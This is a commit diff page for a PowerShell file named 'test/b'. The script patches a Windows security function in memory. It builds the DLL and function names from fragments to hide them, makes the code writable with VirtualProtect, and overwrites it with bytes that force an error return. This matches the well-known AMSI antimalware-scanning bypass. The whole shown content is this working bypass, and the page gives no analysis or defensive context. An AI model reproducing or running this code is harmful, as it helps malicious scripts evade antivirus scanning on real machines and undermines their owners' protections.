enotkrutoy commited on
Commit
7ec0752
·
verified ·
1 Parent(s): 64ee7ec

Update test/b

Browse files
Files changed (1) hide show
  1. test/b +4 -3
test/b CHANGED
@@ -1,3 +1,4 @@
 
1
  $Win32 = @"
2
  using System;
3
  using System.Runtime.InteropServices;
@@ -24,9 +25,9 @@ $LoadLibrary = [Win32]::LoadLibrary($a + "i.dll")
24
  $Address = [Win32]::GetProcAddress($LoadLibrary, ($a + $b + $c + $d))
25
  $oldProtect = 0
26
  [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$oldProtect)
27
- Write-Host "Old protection: $oldProtect"
28
  $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
29
  $bytesWritten = 0
30
- $hProcess = [Win32]::GetCurrentProcess() # Используем Win32, а не Win32.Kernel32
31
  [void][Win32]::WriteProcessMemory($hProcess, $Address, $Patch, $Patch.Length, [ref]$bytesWritten)
32
- Write-Host "Bytes written: $bytesWritten"
 
1
+ $count
2
  $Win32 = @"
3
  using System;
4
  using System.Runtime.InteropServices;
 
25
  $Address = [Win32]::GetProcAddress($LoadLibrary, ($a + $b + $c + $d))
26
  $oldProtect = 0
27
  [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$oldProtect)
28
+ $oldProtect
29
  $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
30
  $bytesWritten = 0
31
+ $hProcess = [Win32]::GetCurrentProcess()
32
  [void][Win32]::WriteProcessMemory($hProcess, $Address, $Patch, $Patch.Length, [ref]$bytesWritten)
33
+ $bytesWritten